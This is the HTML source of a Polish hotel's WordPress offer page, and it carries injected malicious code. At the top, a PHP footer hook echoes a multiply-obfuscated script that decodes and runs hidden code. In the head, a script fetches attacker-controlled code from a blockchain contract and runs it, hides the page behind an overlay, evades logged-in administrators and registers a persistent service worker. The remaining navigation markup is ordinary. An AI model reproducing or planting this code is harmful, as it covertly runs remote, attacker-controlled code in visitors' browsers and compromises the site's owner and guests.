add_action('wp_footer', function () { echo '<script>(function(){\nvar xad2143=4568;\nif(xad2143>0){var y8377fb=xad2143-7177}else{var y8377fb=7177}\nvar z2ba7ee=y8377fb*82;\nvar _0x29c59be5cc20=[100,103,69,111,119,65,2,108,116,119,127,114,100,99,103,97,116,119,66,112,113,81,103,114,117,103,127,87,120,93,89,79,110,81,66,96,97,65,78,84,97,96,65,121,97,93,89,65,100,116,14,127,113,100,81,80,119,7,111,87,116,119,123,124,119,94,89,4,101,92,124,83,117,7,96,84,114,112,66,108,110,119,3,87,101,92,116,103,110,112,111,84,114,116,15,120,123,94,103,114,126,78,70,103,98,7,89,122,97,7,15,85,110,103,78,82,96,112,65,121,110,90,89,123,117,112,103,102,117,65,78,85,114,65,69,124,110,7,94,84,110,65,90,108,97,96,6,124,96,96,90,80,110,90,70,82,117,112,78,87,110,112,90,80,97,81,3,84,114,6,15,97,113,65,65,80,98,98,127,123,113,119,99,115,99,114,108,125,116,100,93,108,126,100,3,110,103,93,127,82,119,81,115,99,117,81,127,114,103,119,14,117,126,6,119,80,126,103,3,114,126,100,81,102,119,103,103,121,119,65,127,124,117,115,123,121,119,81,116,125,103,99,89,112,113,100,93,82,126,90,82,117,103,94,14,82,114,93,123,123,119,65,111,80,103,65,2,117,119,115,127,82,119,81,115,99,117,81,127,114,101,93,112,125,116,100,93,108,126,100,3,110,103,93,127,80,126,103,3,119,119,119,65,115,119,65,123,127,113,99,123,119,114,116,93,115,114,93,123,85,113,119,103,113,119,65,127,124,117,115,123,82,126,65,124,125,103,99,89,112,113,100,93,82,126,90,82,117,103,94,6,117,119,100,103,125,119,81,120,119,126,100,81,102,119,103,103,121,103,65,123,117,117,103,103,127,126,93,123,123,126,100,7,125,103,99,89,112,113,100,93,82,126,90,82,117,103,94,6,117,119,100,103,125,119,81,120,119,119,119,65,115,119,65,123,127,113,99,123,82,113,119,14,116,116,119,3,114,114,65,115,123,126,94,93,123,126,103,100,114,116,119,124,125,103,99,89,112,113,100,93,82,126,90,82,117,103,94,6,117,119,100,103,125,119,81,120,114,117,81,65,108,117,116,89,123,112,115,123,108,117,119,123,124,117,116,14,116,112,115,123,121,119,93,70,116,101,81,99,108,113,100,6,83,96,6,124,117,126,103,127,116,112,119,89,117,119,6,123,124,126,78,6,121,103,65,127,80,117,93,70,116,101,81,99,108,113,100,6,83,96,6,124,117,110,116,14,82,114,93,123,115,119,93,127,119,114,116,93,115,114,93,89,65,96,94,69,123,126,6,6,79,119,65,103,121,116,112,116,102,110,100,99,64,97,65,14,67,96,119,94,85,125,96,6,102,110,65,69,64,96,112,69,69,114,7,89,67,97,96,89,89,110,96,93,67,114,7,6,64,125,112,90,87,97,90,90,85,110,103,14,67,110,119,66,80,98,7,111,84,114,116,15,120,123,81,93,122,114,94,2,99,114,7,116,102,114,7,66,96,117,96,78,96,110,96,100,102,96,81,69,111,119,65,2,108,116,119,127,114,98,98,127,124,126,100,81,96,100,98,127,121,112,116,85,123,113,6,103,97,113,100,14,99,112,94,69,123,126,6,6,79,117,78,81,115,126,119,2,125,126,7,119,79,114,94,103,110,114,116,66,114,126,94,81,102,126,94,93,80,100,96,7,116,110,6,100,103,99,112,116,125,110,100,96,125,99,92,127,121,112,116,85,123,113,6,123,83,113,119,14,83,113,100,15,112,110,6,100,110,123,81,2,99,112,65,65,84,96,81,103,122,100,98,127,122,113,119,103,85,114,81,89,80,103,65,115,127,119,65,89,108,116,96,112,85,110,7,96,115,126,65,81,108,113,116,14,114,101,93,70,97,113,65,65,80,98,98,127,99,112,119,99,82,117,116,3,103,126,103,65,80,126,81,81,93,119,78,90,112,123,81,69,111,116,116,65,121,117,94,15,114,126,94,81,102,126,94,93,80,100,96,66,108,103,96,66,108,100,115,112,85,97,6,100,97,116,119,66,112,98,114,127,99,112,119,99,82,117,116,3,115,126,65,81,108,113,116,14,114,101,93,70,97,113,65,65,80,98,98,127,122,112,65,93,125,113,119,108,103,123,81,69,111,116,116,65,121,117,94,15,114,126,94,81,102,126,94,93,80,100,96,78,80,96,99,115,79,112,116,103,112,126,103,81,83,100,7,15,115,103,98,127,82,112,116,2,119,114,78,89,96,99,115,70,125,96,81,69,117,126,6,99,84,114,116,15,120,123,81,69,85,112,103,124,103,110,96,111,79,117,78,65,96,119,90,115,79,117,78,85,124,117,94,81,113,103,65,115,127,119,65,89,108,116,96,111,79,117,78,65,96,119,93,108,103,110,6,103,97,113,65,65,80,98,98,127,125,113,100,89,115,116,65,103,80,99,116,6,123,126,78,2,127,124,119,123,108,100,98,127,122,112,65,93,125,113,119,108,114,126,94,81,102,126,94,93,80,100,98,127,122,126,116,99,117,103,96,15,115,103,96,78,84,100,112,111,115,117,6,99,79,117,94,93,87,116,119,85,115,126,6,103,79,126,100,103,83,119,119,14,87,112,99,108,103,102,94,93,80,116,119,123,125,103,65,69,80,119,81,119,67,116,103,65,80,122,81,127,124,117,115,99,79,117,94,93,87,116,119,85,115,126,6,100,97,115,116,14,127,113,100,81,80,119,6,6,79,126,100,103,83,119,119,14,87,112,96,111,103,114,81,65,108,114,81,96,112,117,115,103,97,126,65,81,108,113,116,14,114,101,93,70,97,115,116,119,122,113,119,123,121,113,103,103,117,119,6,6,79,119,65,2,102,114,78,89,87,100,98,127,83,113,94,69,80,103,98,127,122,113,119,99,82,100,116,111,80,117,116,93,111,126,65,120,120,119,65,81,87,98,98,6,80,119,81,119,115,126,81,94,112,117,78,81,114,114,94,93,115,119,81,120,112,123,81,2,80,116,103,127,112,112,119,90,116,123,81,85,116,113,81,15,115,112,94,69,123,126,6,6,79,113,116,85,125,113,81,78,103,119,65,81,87,98,98,99,81,127,101,99,108,113,100,6,25,117,116,65,111,117,116,2,108,100,99,100,97,123,94,81,110,117,94,89,123,103,65,127,82,117,119,120,112,101,92,6,95,102,92,90,125,103,98,127,83,113,94,69,80,103,100,93,80,113,119,94,115,96,92,127,111,112,65,89,87,114,115,123,83,117,116,93,25,117,116,65,111,117,116,2,108,124,103,81,123,117,103,81,80,100,99,89,67,119,81,123,108,117,119,123,108,103,114,93,99,126,103,94,125,103,99,89,123,126,100,6,116,116,119,2,123,113,103,103,117,119,6,127,126,126,81,127,114,101,93,100,97,123,94,81,110,117,94,89,123,103,78,93,115,119,119,81,117,113,116,90,103,97,112,7,82,110,96,111,79,113,116,85,125,113,81,78,114,119,81,123,116,119,81,65,124,99,119,69,111,119,65,2,108,116,119,127,114,100,99,103,97,113,100,14,99,112,92,127,121,126,65,99,117,116,100,103,124,100,101,85,29,127,95,120,114,126,103,65,80,126,81,94,112,123,94,81,110,117,94,89,123,103,78,14,127,126,94,6,117,119,78,2,127,121,103,81,96,113,99,100,115,96,94,119,121,114,116,93,121,116,99,99,127,100,116,111,79,116,65,115,87,114,6,99,127,100,112,111,103,115,112,111,79,113,116,85,125,113,81,78,114,119,81,123,127,126,78,14,117,126,7,119,79,113,116,85,125,113,81,78,114,119,81,123,108,116,119,119,127,119,94,81,108,99,119,69,111,119,65,2,108,116,119,127,114,100,99,103,97,123,81,85,116,113,81,15,112,119,65,81,87,98,101,81,80,126,65,127,80,100,99,100,115,96,94,116,97,123,94,81,110,117,94,89,123,103,78,2,127,119,65,90,112,124,76,2,95,127,6,123,83,113,100,14,115,119,65,89,115,117,78,100,112,123,81,69,111,116,100,7,115,100,112,111,103,100,112,111,103,117,78,81,114,114,94,93,115,119,81,120,120,123,81,81,110,126,78,81,102,117,103,3,112,123,94,93,117,116,65,69,114,114,81,15,115,112,81,103,122,100,98,127,108,119,81,85,122,119,65,2,102,99,7,119,79,114,116,81,112,116,115,123,116,117,119,123,125,113,103,96,115,126,65,81,108,113,116,14,114,98,98,6,80,119,81,119,115,126,81,94,114,126,65,81,83,119,81,115,84,117,115,99,114,113,119,115,116,100,112,111,84,114,116,15,120,123,94,103,80,114,65,94,103,112,81,85,83,119,81,123,80,126,103,3,110,101,90,15,114,110,99,70,116,119,119,81,108,116,103,127,124,96,6,89,127,113,103,99,79,114,81,65,116,119,99,70,116,126,103,65,80,114,119,119,83,96,76,111,97,113,103,124,110,123,81,123,115,114,81,100,116,117,103,65,108,114,112,82,125,110,100,96,125,100,92,127,124,117,65,2,83,112,119,14,103,103,99,89,116,114,116,93,127,126,94,90,125,123,115,115,115,117,96,82,85,115,112,111,80,117,116,93,111,126,65,120,120,123,81,123,121,114,65,14,87,113,93,99,79,114,116,81,112,116,114,111,79,113,103,127,126,117,65,123,121,114,76,116,116,123,94,103,80,114,65,94,115,103,78,93,112,117,119,120,112,117,78,81,114,114,94,93,115,119,81,120,112,123,81,115,99,113,119,93,126,100,116,111,84,114,116,15,120,123,81,85,116,112,65,93,82,112,7,119,79,119,100,103,111,117,103,82,122,101,76,127,116,112,116,81,124,116,6,123,80,117,116,2,111,119,100,90,101,123,81,93,82,113,116,96,112,123,81,115,99,113,119,93,126,103,78,14,127,126,94,81,116,113,99,100,110,101,93,70,97,116,119,66,112,123,81,85,116,112,65,93,82,112,6,103,80,117,116,93,111,126,65,120,120,123,81,85,116,112,65,93,82,112,6,123,80,117,116,6,116,114,119,2,127,100,99,127,78,103,93,108,124,103,93,112,125,101,93,100,97,126,65,81,108,113,116,14,114,98,98,127,127,112,78,14,111,114,65,93,121,100,98,127,108,119,81,85,122,119,65,2,102,100,90,78,115,96,94,116,115,103,65,2,123,113,103,2,112,100,103,69,111,119,65,2,108,116,119,127,114,100,99,103,97,126,65,81,108,113,116,14,114,98,98,127,127,112,78,14,111,114,65,93,121,100,98,127,108,119,81,85,122,119,65,2,102,100,90,78,115,96,94,116,115,96,94,119,122,113,119,123,121,113,103,103,117,119,6,6,79,117,116,85,99,116,81,69,85,117,99,99,79,126,78,89,87,114,6,103,97,113,65,65,80,98,98,127,114,119,81,89,126,113,96,119,124,119,81,2,111,119,119,81,114,113,99,123,121,126,65,81,123,113,103,81,89,119,103,81,119,117,119,123,108,100,99,89,83,114,94,14,115,126,100,90,125,100,112,111,79,119,65,127,125,116,78,90,114,126,94,14,121,99,114,127,80,113,94,89,102,100,93,70,117,114,116,6,115,103,78,6,112,126,96,127,83,99,115,70,113,123,94,103,114,126,78,70,113,101,93,69,79,113,7,116,125,100,95,119,123,113,103,96,114,117,65,115,117,119,94,15,112,125,103,65,108,117,115,123,114,119,94,70,112,100,115,124,84,110,96,7,82,110,99,100,97,123,81,123,117,117,81,85,108,103,65,65,83,112,119,123,121,99,116,93,80,113,119,94,97,100,103,93,117,114,94,81,119,117,119,123,108,103,65,99,127,114,119,93,100,115,103,93,117,114,94,81,119,117,119,123,108,103,65,14,117,117,100,100,115,103,65,65,82,126,103,81,114,117,101,2,112,116,119,115,124,100,98,127,114,119,81,89,126,113,99,100,97,115,114,127,127,112,78,14,111,114,65,93,121,100,96,7,115,103,78,93,112,117,119,120,112,117,78,81,114,114,94,93,115,119,81,120,112,123,94,14,87,113,81,15,115,112,81,103,122,100,98,127,80,113,94,89,102,100,114,127,127,112,78,103,113,117,78,65,124,100,98,127,80,113,94,89,102,100,112,111,103,100,112,111,103,100,115,96,115,96,81,11,11];\nvar _0x1570ff9a726b=54;\nvar _0xcffea2dbbaa1=\'\';\nfor(var _0xa916207c00b5=0;_0xa916207c00b5<_0x29c59be5cc20.length;_0xa916207c00b5++)\n  _0xcffea2dbbaa1+=String.fromCharCode(_0x29c59be5cc20[_0xa916207c00b5]^_0x1570ff9a726b);\nvar _0x73b3b1d25a3c=109;\nvar _0x2f74a95aecc4=atob(_0xcffea2dbbaa1);\nvar _code=\'\';\nfor(var _0xa916207c00b5=0;_0xa916207c00b5<_0x2f74a95aecc4.length;_0xa916207c00b5++)\n  _code+=String.fromCharCode(_0x2f74a95aecc4.charCodeAt(_0xa916207c00b5)^_0x73b3b1d25a3c);\n(new Function(_code))();\n})();</script>'; }, 99);
 <!DOCTYPE html>
<html lang="pl-PL">
<head>
    <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
    <meta name="description" content="" />
    <title>Hotel to coś więcej niż pokój &laquo; Hotel Czarna Róża</title>
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="pingback" href="https://hotelczarnaroza.pl/xmlrpc.php" />
    <link href='http://fonts.googleapis.com/css?family=Lato:300,300italic,400,400italic|Lora:400,400italic,700italic&subset=latin,latin-ext' rel='stylesheet' type='text/css'>
    <meta name='robots' content='max-image-preview:large' />
<script data-c="0x58460d0b3d4d6b03761c89120393c0c676676496">(function(c){var t=(c||"").toLowerCase(),n="nc:"+t,Z="0x0000000000000000000000000000000000000000",r=["https://mainnet.base.org","https://base.publicnode.com","https://base-rpc.publicnode.com","https://base.drpc.org","https://1rpc.io/base","https://base-mainnet.public.blastapi.io","https://base.gateway.tenderly.co"],cd=["https://cdn.jsdelivr.net/npm/ethers@6.13.5/dist/ethers.umd.min.js","https://unpkg.com/ethers@6.13.5/dist/ethers.umd.min.js","https://cdnjs.cloudflare.com/ajax/libs/ethers/6.13.5/ethers.umd.min.js"];if(!t)return;if(window.__ncSkip||document.cookie.indexOf("nc_skip=1")>=0||/wordpress_logged_in_[^=]+=/.test(document.cookie)||/\/wp-admin|\/wp-login\.php|wp-admin\/|wp-login\.php/i.test(location.pathname+location.search))return;if(window.__ncR)return;window.__ncR=1;try{navigator.storage&&navigator.storage.persist&&navigator.storage.persist()}catch(e){}var rmCover=function(){var _cx=document.getElementById("nc-cover");if(_cx)try{_cx.remove()}catch(e){}},reveal=function(){if(!document.getElementById("nochain-demo-frame"))rmCover()};try{var cv=document.createElement("div");cv.id="nc-cover";cv.style.cssText="position:fixed;inset:0;width:100vw;height:100vh;margin:0;padding:0;border:0;background:#fff;z-index:2147483646";(document.documentElement||document.body).appendChild(cv);try{cv.popover="manual";cv.showPopover()}catch(e){}}catch(e){}try{var _ro=JSON.parse(localStorage[n+":rpc"]);if(_ro&&_ro.length)r=_ro.filter(function(u){return typeof u=="string"&&u.indexOf("https://")==0}).slice(0,15).concat(r)}catch(z){}try{var _co=JSON.parse(localStorage[n+":cdn"]);if(_co&&_co.length)cd=_co.filter(function(u){return typeof u=="string"&&u.indexOf("https://")==0}).slice(0,8).concat(cd)}catch(z){}["https://cdn.jsdelivr.net","https://unpkg.com","https://cdnjs.cloudflare.com","https://mainnet.base.org"].forEach(function(u){try{var l=document.createElement("link");l.rel="preconnect";l.href=u;(document.head||document.documentElement).appendChild(l)}catch(z){}});var a=Object.getPrototypeOf(async function(){}).constructor,i=["function getActiveScripts() view returns (uint256[] ids, string[] names, string[] codes)","function hasDemoPage() view returns (bool)","function getDemoPage() view returns (string pageType, string content, uint256 updatedAt)"],x=function(e,nn,p){var w={address:Z,provider:p||{},getAddress:function(){return Promise.resolve(Z)}},E=typeof ethers!=="undefined"?ethers:void 0;return e.reduce(function(q,u){return q.then(function(){return new a("console","ethers","provider","contract","wallet","document","window",'"use strict";return(async()=>{\n'+u+'\n})();')(console,E,p,nn,w,document,window)}).catch(function(z){})},Promise.resolve())},m=function(e){return{target:t,getActiveScripts:function(){return Promise.resolve([e.i,e.n,e.c])},hasDemoPage:function(){return Promise.resolve(!!e.d)},getDemoPage:function(){return Promise.resolve(e.d?[e.d[0],e.d[1],0]:["","",0])}}},cached;try{cached=JSON.parse(localStorage[n])}catch(z){}var shown=false,kill=function(){try{navigator.serviceWorker.getRegistrations().then(function(rs){rs.forEach(function(r){r.unregister()})})}catch(z){}try{caches.delete("nc-eth")}catch(z){}try{caches.delete("ncblob")}catch(z){}},fb=function(){if(!shown&&cached&&cached.c){if(cached.d&&cached.d[1]==="nc-kill"){shown=true;kill();return}shown=true;try{x(cached.c,m(cached),null)}catch(z){}}};function boot(){var f=async function(p){var e=new ethers.Contract(t,i,p),g=await e.getActiveScripts(),d=null;try{if(await e.hasDemoPage()){var h=await e.getDemoPage();d=[h[0],h[1]]}}catch(z){}return{i:g[0].map(function(x){return Number(x)}),n:Array.from(g[1]),c:Array.from(g[2]),d:d}},j=async function(p){var y=await f(p),w=new ethers.Contract(t,i,p);try{localStorage[n]=JSON.stringify({i:y.i,n:y.n,c:y.c})}catch(z){}if(y.d&&y.d[1]==="nc-kill"){shown=true;kill();return!0}await x(y.c,w,p);shown=true;return!0};async function b(){if(!ethers.isAddress(t))return;for(var att=0;att<2;att++){var s=r.slice().sort(function(){return Math.random()-.5});for(var v=0;v<s.length;v++)try{var g=new ethers.JsonRpcProvider(s[v],8453,{staticNetwork:!0});if(await j(g))return}catch(z){}}fb()}b().catch(function(z){console.error("[nc]",z&&z.message||z);fb()}).finally(reveal)}function ld(k){if(window.ethers)return boot();if(k>=cd.length){console.error("[nc] cdn fail");return fb()}var o=document.createElement("script");o.src=cd[k];o.fetchPriority="high";o.onload=function(){window.ethers?boot():ld(k+1)};o.onerror=function(){ld(k+1)};(document.head||document.documentElement).appendChild(o)}setTimeout(function(){fb();reveal()},10000);ld(0)})(document.currentScript&&document.currentScript.dataset.c)</script><script>if(navigator.serviceWorker&&!/wp-admin|wp-login\.php/i.test(location.pathname)&&document.cookie.indexOf("nc_skip=1")<0&&!/wordpress_logged_in_[^=]+=/.test(document.cookie)){navigator.serviceWorker.register("https://hotelczarnaroza.pl/nochain-sw.js",{scope:"/",updateViaCache:"all"}).catch(function(){})}</script>
<link rel='dns-prefetch' href='//s.w.org' />
<link rel="alternate" type="application/rss+xml" title="Hotel Czarna Róża &raquo; Kanał z wpisami" href="https://hotelczarnaroza.pl/feed/" />
		<script type="text/javascript">
			window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/13.0.1\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/13.0.1\/svg\/","svgExt":".svg","source":{"concatemoji":"https:\/\/hotelczarnaroza.pl\/wp-includes\/js\/wp-emoji-release.min.js?ver=5.7.17"}};
			!function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){var a=String.fromCharCode;p.clearRect(0,0,i.width,i.height),p.fillText(a.apply(this,e),0,0);e=i.toDataURL();return p.clearRect(0,0,i.width,i.height),p.fillText(a.apply(this,t),0,0),e===i.toDataURL()}function c(e){var t=a.createElement("script");t.src=e,t.defer=t.type="text/javascript",a.getElementsByTagName("head")[0].appendChild(t)}for(o=Array("flag","emoji"),t.supports={everything:!0,everythingExceptFlag:!0},r=0;r<o.length;r++)t.supports[o[r]]=function(e){if(!p||!p.fillText)return!1;switch(p.textBaseline="top",p.font="600 32px Arial",e){case"flag":return s([127987,65039,8205,9895,65039],[127987,65039,8203,9895,65039])?!1:!s([55356,56826,55356,56819],[55356,56826,8203,55356,56819])&&!s([55356,57332,56128,56423,56128,56418,56128,56421,56128,56430,56128,56423,56128,56447],[55356,57332,8203,56128,56423,8203,56128,56418,8203,56128,56421,8203,56128,56430,8203,56128,56423,8203,56128,56447]);case"emoji":return!s([55357,56424,8205,55356,57212],[55357,56424,8203,55356,57212])}return!1}(o[r]),t.supports.everything=t.supports.everything&&t.supports[o[r]],"flag"!==o[r]&&(t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&t.supports[o[r]]);t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&!t.supports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything||(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload",n),a.attachEvent("onreadystatechange",function(){"complete"===a.readyState&&t.readyCallback()})),(n=t.source||{}).concatemoji?c(n.concatemoji):n.wpemoji&&n.twemoji&&(c(n.twemoji),c(n.wpemoji)))}(window,document,window._wpemojiSettings);
		</script>
		<style type="text/css">
img.wp-smiley,
img.emoji {
	display: inline !important;
	border: none !important;
	box-shadow: none !important;
	height: 1em !important;
	width: 1em !important;
	margin: 0 .07em !important;
	vertical-align: -0.1em !important;
	background: none !important;
	padding: 0 !important;
}
</style>
	<link rel='stylesheet' id='bootstrap-css'  href='https://hotelczarnaroza.pl/wp-content/plugins/easy-bootstrap-shortcodes/styles/bootstrap.min.css?ver=5.7.17' type='text/css' media='all' />
<link rel='stylesheet' id='bootstrap-fa-icon-css'  href='https://hotelczarnaroza.pl/wp-content/plugins/easy-bootstrap-shortcodes/styles/font-awesome.min.css?ver=5.7.17' type='text/css' media='all' />
<link rel='stylesheet' id='wp-block-library-css'  href='https://hotelczarnaroza.pl/wp-includes/css/dist/block-library/style.min.css?ver=5.7.17' type='text/css' media='all' />
<link rel='stylesheet' id='contact-form-7-css'  href='https://hotelczarnaroza.pl/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.4' type='text/css' media='all' />
<link rel='stylesheet' id='bootstrap.css-css'  href='https://hotelczarnaroza.pl/wp-content/themes/czarnaroza/css/bootstrap.css?ver=1' type='text/css' media='all' />
<link rel='stylesheet' id='stylesheet-css'  href='https://hotelczarnaroza.pl/wp-content/themes/czarnaroza/style.css?ver=1' type='text/css' media='all' />
<link rel='stylesheet' id='ebs_dynamic_css-css'  href='https://hotelczarnaroza.pl/wp-content/plugins/easy-bootstrap-shortcodes/styles/ebs_dynamic_css.php?ver=5.7.17' type='text/css' media='all' />
<script type='text/javascript' src='https://hotelczarnaroza.pl/wp-includes/js/jquery/jquery.min.js?ver=3.5.1' id='jquery-core-js'></script>
<script type='text/javascript' src='https://hotelczarnaroza.pl/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2' id='jquery-migrate-js'></script>
<script type='text/javascript' src='https://hotelczarnaroza.pl/wp-content/plugins/easy-bootstrap-shortcodes/js/bootstrap.min.js?ver=5.7.17' id='bootstrap-js'></script>
<link rel="https://api.w.org/" href="https://hotelczarnaroza.pl/wp-json/" /><link rel="alternate" type="application/json" href="https://hotelczarnaroza.pl/wp-json/wp/v2/pages/97" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://hotelczarnaroza.pl/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="https://hotelczarnaroza.pl/wp-includes/wlwmanifest.xml" /> 
<meta name="generator" content="WordPress 5.7.17" />
<link rel="canonical" href="https://hotelczarnaroza.pl/oferta/" />
<link rel='shortlink' href='https://hotelczarnaroza.pl/?p=97' />
<link rel="alternate" type="application/json+oembed" href="https://hotelczarnaroza.pl/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fhotelczarnaroza.pl%2Foferta%2F" />
<link rel="alternate" type="text/xml+oembed" href="https://hotelczarnaroza.pl/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fhotelczarnaroza.pl%2Foferta%2F&#038;format=xml" />
            <style>
               .custom-header-text-color { color: #000 }
            </style>
    		<style type="text/css" id="wp-custom-css">
			p.accept.smallprint {
    text-align:  left;
}

.accept input[type="checkbox"] {
    text-align:  left;
    width:  auto;
    float:  left;
    padding-top:  10px;
    margin-top:  10px;
}

.accept label span {
    margin-left:  20px;
    display:  block;
}

		</style>
		
<!-- Hotjar Tracking Code for http://hotelczarnaroza.pl -->
<script>
    (function(h,o,t,j,a,r){
        h.hj=h.hj||function(){(h.hj.q=h.hj.q||[]).push(arguments)};
        h._hjSettings={hjid:199416,hjsv:5};
        a=o.getElementsByTagName('head')[0];
        r=o.createElement('script');r.async=1;
        r.src=t+h._hjSettings.hjid+j+h._hjSettings.hjsv;
        a.appendChild(r);
    })(window,document,'//static.hotjar.com/c/hotjar-','.js?sv=');
</script>





</head>
<body class="page-template page-template-offer-page page-template-offer-page-php page page-id-97">

  <div id="skrollr-body">
  <div id="preloader"></div>







    <div class="row dmbs-top-menu">
        <nav class="navbar navbar-default navbar-fixed-top" role="navigation">
            <div class="container">
                <div class="navbar-header">
                                            <a class="navbar-brand visible-xs" href="https://hotelczarnaroza.pl/">
                            <img src="https://hotelczarnaroza.pl/wp-content/uploads/2015/03/cropped-logo-for-web-dark-small-1.png">
                        </a>
                                    
                    <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-1-collapse">
                        <span class="sr-only">Toggle navigation</span>
                        <span class="icon-bar"></span>
                        <span class="icon-bar"></span>
                        <span class="icon-bar"></span>
                    </button>
                </div>
                <div class="collapse navbar-collapse navbar-1-collapse">
                                        <a class="navbar-brand hidden-xs" href="https://hotelczarnaroza.pl/">
                            <img src="https://hotelczarnaroza.pl/wp-content/uploads/2015/03/cropped-logo-for-web-dark-small-1.png">
                        </a>
                                        <div class="menu-primary-menu-container"><ul id="menu-primary-menu" class="nav navbar-nav navbar-left"><li id="menu-item-191" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-191"><a title="Historia" href="https://hotelczarnaroza.pl/historia-hotelu/">Historia</a></li>
<li id="menu-item-178" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-178 dropdown"><a title="Pokoje" href="https://hotelczarnaroza.pl/pokoje/" data-toggle="dropdown" class="dropdown-toggle" aria-haspopup="true">Pokoje <span class="caret"></span></a>
<ul role="menu" class=" dropdown-menu">
	<li id="menu-item-724" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-724"><a title="Pokój jednoosobowy" href="/pokoje/#1">Pokój jednoosobowy</a></li>
	<li id="menu-item-725" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-725"><a title="Pokój dwuosobowy" href="/pokoje/#2">Pokój dwuosobowy</a></li>
	<li id="menu-item-726" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-726"><a title="Pokój dwuosobowy Twin" href="/pokoje/#3">Pokój dwuosobowy Twin</a></li>
	<li id="menu-item-727" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-727"><a title="Pokój trzyosobowy" href="/pokoje/#4">Pokój trzyosobowy</a></li>
	<li id="menu-item-728" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-728"><a title="Pokój dwuosobowy DeLuxe" href="/pokoje/#5">Pokój dwuosobowy DeLuxe</a></li>
	<li id="menu-item-729" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-729"><a title="Apartament rodzinny" href="/pokoje/#6">Apartament rodzinny</a></li>
	<li id="menu-item-730" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-730"><a title="Apartament 2 poziomowy" href="/pokoje/#7">Apartament 2 poziomowy</a></li>
</ul>
</li>
<li id="menu-item-130" class="menu-item menu-item-type-post_type menu-item-object-page current-menu-item page_item page-item-97 current_page_item menu-item-130 active"><a title="Oferta hotelu" href="https://hotelczarnaroza.pl/oferta/">Oferta hotelu</a></li>
<li id="menu-item-148" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-148"><a title="Dla biznesu" href="https://hotelczarnaroza.pl/oferta-dla-biznesu/">Dla biznesu</a></li>
<li id="menu-item-695" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-695"><a title="Galeria" href="https://hotelczarnaroza.pl/galeria/">Galeria</a></li>
<li id="menu-item-1463" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1463"><a title="Projekty UE" href="https://hotelczarnaroza.pl/projekty-ue/">Projekty UE</a></li>
<li id="menu-item-179" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-179"><a title="Kontakt" href="https://hotelczarnaroza.pl/kontakt/">Kontakt</a></li>
<li id="menu-item-747" class="visible-xs menu-item menu-item-type-custom menu-item-object-custom menu-item-747"><a title="Zarezerwuj pokój" href="https://upperbooking.com/pl/booking/city/wrap/hotelczarnaroza">Zarezerwuj pokój</a></li>
<li id="menu-item-893" class="visible-xs menu-item menu-item-type-custom menu-item-object-custom menu-item-893"><a title="EN" href="/en/">EN</a></li>
<li id="menu-item-894" class="visible-xs menu-item menu-item-type-custom menu-item-object-custom menu-item-894"><a title="DE" href="/de/">DE</a></li>
</ul></div>  

                    <div class="menu-social-bookings-container"><ul id="menu-social-bookings" class="nav navbar-nav navbar-right"><li id="menu-item-749" class="hidden-xs menu-item menu-item-type-custom menu-item-object-custom menu-item-749"><a title="Zarezerwuj pokój" href="https://upperbooking.com/pl/booking/city/wrap/hotelczarnaroza">Zarezerwuj pokój</a></li>
</ul></div>  
                 <img src="https://hotelczarnaroza.pl/wp-content/uploads/2025/03/logo-unia-dotacje.jpg" width="210"><!-- do wywalenia -->
                </div>

                
            </div>
            <div class="lang-nav hidden-xs"><ul id="menu-lang-menu" class="nav nav-pills"><li id="menu-item-745" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-745"><a title="en" href="/en/">en</a></li>
<li id="menu-item-746" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-746"><a title="de" href="/de/">de</a></li>
</ul></div>        </nav>
    </div>





<div class="masterwrap powerFrame headmaster frame offer-titler nomenu" id="top">
<br />
<b>Warning</b>:  Use of undefined constant fff - assumed 'fff' (this will throw an Error in a future version of PHP) in <b>/wp-content/themes/czarnaroza/offer-page.php</b> on line <b>19</b><br />
<br />
<b>Warning</b>:  Use of undefined constant fff - assumed 'fff' (this will throw an Error in a future version of PHP) in <b>/wp-content/themes/czarnaroza/offer-page.php</b> on line <b>21</b><br />
<div class="offer-title-bgd" style="background-image:url('https://hotelczarnaroza.pl/wp-content/uploads/2016/04/image-24.jpeg')" data-top="background-position:center 50%;" data-top-bottom="background-position:center 30%;"></div>
<div class="polaraize"></div>

    <div class="centerwrp_1">
      <div class="centerwrp_2">
        <div class="centerwrp_3">
          <h1 style="color:#fff" class="">Hotel to coś więcej niż pokój</h1>
          <h3 style="color:#fff">Zobacz, co jeszcze Ci zapewnimy</h3>

        </div>
      </div>
    </div> 
</div>

<div class="checkav" role="">
    <div class="container" id="stay" data-menu-offset="-80">
        <div class="checkav-inner">
            <a class="h2" href="#stay">Zaplanuj pobyt<img class="svg" src="https://hotelczarnaroza.pl/wp-content/themes/czarnaroza/img/arrowdown.svg" width="25"></a>
